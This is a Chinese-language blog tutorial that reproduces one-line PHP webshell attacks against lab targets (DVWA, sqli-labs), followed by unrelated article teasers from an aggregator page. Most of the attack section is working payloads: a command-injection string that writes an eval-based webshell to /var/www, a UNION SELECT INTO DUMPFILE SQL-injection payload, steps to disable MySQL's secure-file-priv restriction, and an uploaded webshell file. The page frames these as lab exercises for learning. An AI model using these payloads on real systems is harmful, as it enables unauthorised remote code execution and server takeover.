一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。
准备环境
- OWASP虚拟机
- xfp 7与xshell 7
- DVWA系统默认的账号密码均为:admin/admin
1、命令注入中复现
攻击payload
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php
这个命令的目的是在服务器上创建一个名为 shell.php
的文件,其中包含 PHP 代码。让我们逐步分析该命令:
-
127.0.0.1
: 这是一个IP地址(本地回环地址),代表要连接的目标主机。 -
|
:管道符号,用于将前一个命令的输出作为后一个命令的输入。 -
echo "<?php @eval(\$_POST[\"cmd\"])?>"
: 这是一个echo命令,它将字符串<?php @eval(\$_POST["cmd"])?>
输出到标准输出。 -
>
:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。 -
/var/www/shell.php
:这是目标文件路径,表示要将输出写入到/var/www/
目录下的名为shell.php
的文件。
综上所述,如果成功执行此命令,则会在服务器的 /var/www/
目录下创建一个名为 shell.php
的文件,并将 <?php @eval(\$_POST["cmd"])?>
的内容写入到该文件中。由于该PHP代码使用了 eval
函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。
下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
-
&
:将两个命令并行执行,无论前一个命令是否成功。 -
&&
:只有当前一个命令成功执行时,才会执行后一个命令。 -
|
:将前一个命令的输出作为后一个命令的输入。 -
||
:只有当前一个命令执行失败时,才会执行后一个命令。
复现
在靶机中查看木马文件
最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:
- cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息
我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件
使用蚁剑或菜刀连接木马
成功进入目标文件管理界面,攻击复现成功
注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/
,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名
的格式即可访问该文件。
2、SQL注入中复现
攻击payload
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>"
:这是一个UNION SELECT
查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码<?php @eval(\$_POST["cmd"])?>
。这段代码是恶意的,它尝试执行通过 POST 请求传递的cmd
参数作为代码进行执行。INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php"
:这个部分尝试将查询结果保存到指定的文件路径F:\\phpStudy\\PHPTutorial\\WWW\\shell.php
中。这将会创建一个名为shell.php
的文件,并将查询结果写入其中。--
:这是 SQL 中的注释符号,表示注释掉后续的内容。
总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php
文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。
复现(我这里用sqlilabs靶场)
安装:详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客
安装完成后打开:http://127.0.0.1/sqlilabs/Less-2/?id=1
本来我是用DVWA靶场复现的搞了半天都搞不定一直提示“用户“dvwa”@“%”的访问被拒绝(使用密码:YES)”解决不了换靶场
1)先判断显示位(测试是否存在SQL注入)
-1 union select 1,2,3 -- -
命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载)
2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)
-1 union select 1,@@datadir,3 -- -
3)写入WebShell
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
代码执行只要不报错就行成功了
注意:MySQL 服务器默认情况使用了 --secure-file-priv
选项,限制了 INTO OUTFILE
的功能。
解决:你可以尝试以下步骤:
- 打开 phpStudy 的安装目录,找到
my.ini
(或my.cnf
)配置文件。 - 在配置文件中找到
[mysqld]
部分。 - 在
[mysqld]
部分添加或修改下列行:
[mysqld] secure-file-priv=""
- 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。
通过将 secure-file-priv
设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE
语句将查询结果输出到任意位置。
连接
参考文章:SQL注入篇——一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客
3、文件上传漏洞中复现
攻击payload
准备一个木马文件如:cmd.php
<?php @eval($_POST["cmd"])?>
复现
连接
主机IP+/dvwa/hackable/uploads/cmd.php# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场
相关文章:
![](https://img-blog.csdnimg.cn/c8e2f3a3ee2b4bae92b6e4c53951d155.png)
一句话木马攻击复现:揭示黑客入侵的实战过程
这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 准备环境 OWASP虚拟机xfp 7与xshell 7 DVWA系统默认的账号密码均为:admin/admin 1、命令注入中复现 攻击payload 127.0.0.1 | echo "<?php eval(…...
![](https://img-blog.csdnimg.cn/5146a01b4fcd452f84b4bcaaadb78a64.gif)
【游戏开发教程】Unity Cinemachine快速上手,详细案例讲解(虚拟相机系统 | 新发出品 | 良心教程)
文章目录 一、前言二、插件下载三、案例1:第三人称自由视角,Free Look character场景1、场景演示2、组件参数2.1、CinemachineBrain:核心2.2、CinemachineFreeLook:第三人称自由视角相机2.2.1、设置Follow:跟随2.2.2、…...
![](https://img-blog.csdnimg.cn/d6f22a0be90840618c34ac671b5e706d.png)
当图像宽高为奇数时,如何计算 I420 格式的uv分量大小
背景 I420 中 yuv 数据存放在3个 planes 中。 网上一般说 I420 数据大小为 widthheight1.5 但是当 width 和 height 是奇数时,这个计算公式会有问题。 I420 中 u 和 v 的宽高分别为 y 的一半。 但是当不能整除时,是如何取整呢?向上还是向下&…...
![](https://img-blog.csdnimg.cn/398c642486da4694894fafd08e1c824c.png)
结构型模式-代理模式
代理模式* 定义:在代理模式(Proxy Pattern)中,一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。在代理模式中,我们创建具有现有对象的对象,以便向外界提供功能接口。 意图:为其…...
![](https://www.ngui.cc/images/no-images.jpg)
SpringBoot+Redis BitMap 实现签到与统计功能
最近项目里需要集成签到和统计功能,连续签到后会给用户发放一些优惠券和奖品,以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。 因为签到和统计的功能涉及的数据量比较大,所以在如此大的数据下利用传统的关系…...
![](https://www.ngui.cc/images/no-images.jpg)
P5739 【深基7.例7】计算阶乘
题目描述 求 n ! n! n!,也就是 1 2 3 ⋯ n 1\times2\times3\dots\times n 123⋯n。 挑战:尝试不使用循环语句(for、while)完成这个任务。 输入格式 第一行输入一个正整数 n n n。 输出格式 输出一个正整数,…...
![](https://img-blog.csdnimg.cn/fa6e5922f4a34408ac88294925192d71.png)
scikit-learn中OneHotEncoder用法
One-Hot编码,又称为一位有效编码,是分类变量作为二进制向量的表示。这首先要求将分类值映射到整数值,然后,每个整数值被表示为二进制向量,将整数索引标记为1,其余都标为0。 OneHotEncoder()常用参数解释 …...
![](https://img-blog.csdnimg.cn/cb30c44aa40b4f53b35a50853be830de.png)
linux操作系统的权限的深入学习(未完)
1.Linux权限的概念 Linux下有两种用户:超级用户(root)、普通用户。 超级用户:可以再linux系统下做任何事情,不受限制 普通用户:在linux下做有限的事情。 超级用户的命令提示符是“#”,普通用户…...
![](https://img-blog.csdnimg.cn/5c7eb49155fe4a3abd95ec046c865344.png)
C 连接MySQL8
Linux 安装MySQL 8 请参考文章:Docker 安装MySQL 8 详解 Visual Studio 2022 编写C 连接MySQL 8 C源码 #include <stdio.h> #include <mysql.h> int main(void) {MYSQL mysql; //数据库句柄MYSQL_RES* res; //查询结果集MYSQL_ROW row; //记录结…...
![](https://img-blog.csdnimg.cn/fb3d1a99cf664d0cb0162ca757b76c71.png#pic_center)
福利之舞:员工的心跳与企业的平衡术
引言:员工福利与满意度的关系 在现代企业中,员工福利已经不仅仅是一种待遇,而是与员工满意度、忠诚度和生产力紧密相连的关键因素。一个合理且吸引人的福利制度可以大大提高员工的工作积极性,同时也能够吸引和留住顶尖的人才。但…...
![](https://img-blog.csdnimg.cn/e1980129c836411badd8ceafda90f68a.png)
MyBatis动态语句且如何实现模糊查询及resultType与resultMap的区别---详细介绍
前言 前面我们学习了如何使用Mybatis实现简单的增删改查。今天我们来学习如何使用动态语句来根据不同的条件生成不同的SQL语句。这在实际开发中非常有用,因为通常查询条件是多样化的,需要根据实际情况来拼接SQL语句,那什么是MyBatis动态语句呢…...
![](https://img-blog.csdnimg.cn/f6aec104a680458c9a676599a1a9164a.jpeg)
麒麟OS国产系统身份证阅读器web网页开发使用操作流程
1、打开麒麟软件商店,选择驱动,找到身份证阅读器,找到东信智能身份证社保卡读卡器,点击安装。 2、安装完成后,点击打开 3、进入读卡界面 4、进入代码集成 <script type"text/javascript">var ctnFin…...
![](https://www.ngui.cc/images/no-images.jpg)
前端面试:【事件处理】探索事件流、委托与事件对象
嗨,亲爱的事件探险家!在JavaScript的世界中,事件处理是与用户互动的关键。本文将带你探索事件流、事件委托、常见事件类型和事件对象,这些知识将帮助你成为事件处理的大师。 2. 事件流:事件的旅程 事件流描述了事件从…...
![](https://www.ngui.cc/images/no-images.jpg)
c语言函数指针使用例子
一、是什么? c语言函数名是一段代码首地址,连接器链接时放在text段,下面例子会把函数名打印出来,.map文件内存分布查看相关代码段函数: 下面例子实现步骤: 来源于uboot 的初始化 board_f.c typedef int (*init_fun_t)(void); (1)构建gd数据类型 (2)初始化全局gd变量 (3)实…...
![](https://img-blog.csdnimg.cn/img_convert/4235c3ee40d43346e2f33ce47a432a2c.png)
云计算技术应用专业实训室建设方案
一、 云计算技术应用系统概述 云计算技术是一种基于互联网的计算模式,通过将计算资源(如服务器、存储、数据库、网络、软件等)提供为一种服务,使用户能够按需获取和使用这些资源,而无需拥有和管理实际的物理设备。云计…...
![](https://www.ngui.cc/images/no-images.jpg)
C语言学习之共用体(union)的运用
C语言中的共用体:伪代码表示: union 类型名{ 数据类型1 成员1; 数据类型2 成员2; 数据类型3 成员3; . . . 数据类型n 成员n; };共用体的特点:1.所有的成员是共享同一块内存空间的2.所有成员的首地址是一样的;3.大小取决于共用体中…...
![](https://img-blog.csdnimg.cn/568d7d5cab0647a28449d0c66b46a022.png)
Sentinel 控制台(集群流控管理)
规则配置 要通过 Sentinel 控制台配置集群流控规则,需要对控制台进行改造。我们提供了相应的接口进行适配。 从 Sentinel 1.4.0 开始,我们抽取出了接口用于向远程配置中心推送规则以及拉取规则: DynamicRuleProvider<T>: 拉取规则Dy…...
![](https://img-blog.csdnimg.cn/23377bd747b74ac2af691383e1f61dd2.png)
matlab中判断数据的奇偶性(mod函数、rem函数)
用Matlab判断一个数是偶数还是奇数 1、mod函数 X 25;%要判断的数 if mod(X,2)1disp(奇数);%奇数 elsedisp(偶数);%偶数 end结果 2、rem函数 n25; if rem(n,2)0display(偶数); elsedisplay(奇数); end结果...
![](https://img-blog.csdnimg.cn/72962ea7f21745f898d07b17b61e7542.png)
Redis使用
环境配置 代码实现 Java public CoursePublish getCoursePublishCache(Long courseId){//查询缓存Object jsonObj redisTemplate.opsForValue().get("course:" courseId);if(jsonObj!null){String jsonString jsonObj.toString();System.out.println("从缓…...
![](https://www.ngui.cc/images/no-images.jpg)
#systemverilog# 之 event region 和 timeslot 仿真调度(七)Active/NBA 咋跳转的?
目录 一 目的 二 案例分析 2.1 先Active域,后 NBA 域 2.2 先Active域,后 NBA 域,后NBA域...
![](https://img-blog.csdnimg.cn/8f91680a03ca4336a1e2a02a06400749.png#pic_center)
回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图)
回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图) 目录 回归预测 | MATLAB实现SSA-ELM麻雀搜索算法优化极限学习机多输入单输出回归预测(多指标,多图)效果一览基…...
![](https://img-blog.csdnimg.cn/img_convert/0e3c2d3597e7db0b8a5829e22faaa893.jpeg)
LION AI 大模型落地,首搭星纪元 ES
自新能源汽车蓬勃发展以来,随着潮流不断进步和变革的“四大件”有着明显变化。其中有:平台、智能驾驶、配置、以及车机。方方面面都有着不同程度的革新。 而车机方面,从以前老旧的媒体机、 CD 机发展至如今具有拓展性、开放性、智能化的车机…...
![](https://www.ngui.cc/images/no-images.jpg)
【AC-自动机】- 字符串的逆序
链接:登录—专业IT笔试面试备考平台_牛客网 来源:牛客网 题号:NC14310 时间限制:C/C 1秒,其他语言2秒 空间限制:C/C 32768K,其他语言65536K 64bit IO Format: %lld 题目描述 输入一个字符串…...
![](https://img-blog.csdnimg.cn/0729a127fd5f4749a6abdd0964815463.png)
统计Mysql库中每个表的总行数,解决table_rows不准确问题
1、拼接SQL selectsubstring( GROUP_CONCAT(a.sf SEPARATOR ),1,length(GROUP_CONCAT(a.sf SEPARATOR ))-10) as sql_str from( select concat(select ", TABLE_name , ", count(*) as row_num from , TABLE_SCHEMA, .,TABLE_name, union all ) as sf frominformat…...
![](https://www.ngui.cc/images/no-images.jpg)
AWS EC2 docker-compose部署MongoDB4.2
环境准备 安装docker 参考EC2官方文档:创建容器镜像以在 Amazon ECS 上使用 - Amazon Elastic Container Service sudo yum update -y sudo amazon-linux-extras install docker sudo usermod -a -G docker ec2-user sudo systemctl enable docker sudo systemct…...
![](https://img-blog.csdnimg.cn/img_convert/61f8b03a0f1981598bd3836b30fcdd92.png)
IDEA常用插件之类Jar包搜索Maven Search
文章目录 IDEA常用插件之类Jar包搜索Maven Search说明安装插件使用方法1.搜索自己要搜的jar包2.根据类名搜索 IDEA常用插件之类Jar包搜索Maven Search 说明 它可以帮助用户快速查找和浏览Maven中央存储库中可用的依赖项和插件。它可以帮助用户更方便地管理项目依赖项。 安装…...
![](https://img-blog.csdnimg.cn/377c66a4aa0342c2ae3195bec96543be.png)
使用proxman对iOS真机进行抓包
1 打开手机的safari 输入地址 http://proxy.man/ssl 2 下载证书代开设置页面,安装证书 设置信任证书 打开手机设置 ,点击通用 点击关于本机、 点击证书信任设置 打开信任设置开关 4 设置手机代理 查看需要设置的代理地址 打开界面 在手机中按…...
![](https://img-blog.csdnimg.cn/268169b5c0c344de817c9dfee0ecd1da.png)
sdk manager (ubuntu20.4) 安装
1、首先下载sdk manager 1.9.3 下载链接 https://www.baidu.com/link?urlVXJhUqxxhS3eFK3bOPTzi5LFl6ybeW3JwDY1CwANaPf1gvO3IxQKzY547NIe53x1blJxnAXg7FTRTvs-cnfnVa&wd&eqida22baa7b0004ca980000000664e2d426 当然要登录自己的账号才能成功下载,下载对应…...
![](https://www.ngui.cc/images/no-images.jpg)
Oracle修改字符集为SIMPLIFIED CHINESE_CHINA.ZHS16GBK
查询字符集 select userenv(language) from dual;修改前字符集为:SIMPLIFIED CHINESE_CHINA.AL32UTF8 SQL> shutdown immediate; Database closed. Database dismounted. ORACLE instance shut down. SQL> startup mount; ORACLE instance started. Total …...
遵义住房和城乡建设厅网站/seo工具大全
需求在网页中启动本地应用程序并传递参数实现利用URL Protocol实现1、URL Protocol格式,如下:使用记事本输入上述内容,修改其中的协议名称、应用程序路径,启动参数,并保存成reg文件。点击执行保存的reg文件,…...
![](/images/no-images.jpg)
深圳p2p网站建设/西安seo推广公司
1.1 管道格式 将一个命令的输出作为另一个命令的输入,这个过程叫作管道连接(piping)。 command1 | command2 #管道连接格式Linux系统实际上会同时运行这两个命令,在 系统内部将它们连接起来。在第一个命令产生输出的同时&#x…...
![](/images/no-images.jpg)
承德做网站/友情链接英文
1.首先安装好LAMP这一个组合,在安装的过程中重点关注PHP的安装./configure --prefix/usr/local/php5 --enable-mbstring--with-apxs2/usr/local/apache2/bin/apxs--with-mysql/usr/local/mysql--with-config-file-path/usr/local/php5--with-zlibmake ;make install…...
![](/images/no-images.jpg)
成都免费招聘网站/常州百度搜索优化
,之前看<<PostgreSQL数据库内核分析>>这本书,提到了postmaster进程,于是在我安装的PG 9.6.0中,ps -ef了一把,结果没找到,如下:[postgresrhel73 global]$ pwd /usr/local/pgsql/data/global [postgresrhel73 global]$ ps -ef | grep -i post root 2220 1 …...
![](https://img-blog.csdnimg.cn/img_convert/bc74b9bae221854fc312bb938ca0c6d0.png)
品牌建设模型/湖南有实力seo优化
第三节 又一个EmguCV程序:人脸识别对于用惯了halcon的玩家,对emguCV其实应该是各种不习惯的,特别是数据类型,我本来准备了一个例子,结果最后一个方法的地方因为数据类型的问题,搞了半天没成功,如…...
![](/images/no-images.jpg)
底价网站建设/网络公司排名
青岛大学10数据结构911计算机专业综合青岛大学2013年硕士研究生入学考试试题科目代码: 911 科目名称: 计算机专业综合 (共 13 页)请考生写明题号,将答案全部答在答题纸上,答在试卷上无效须知:本试卷共包括4门专业课程试…...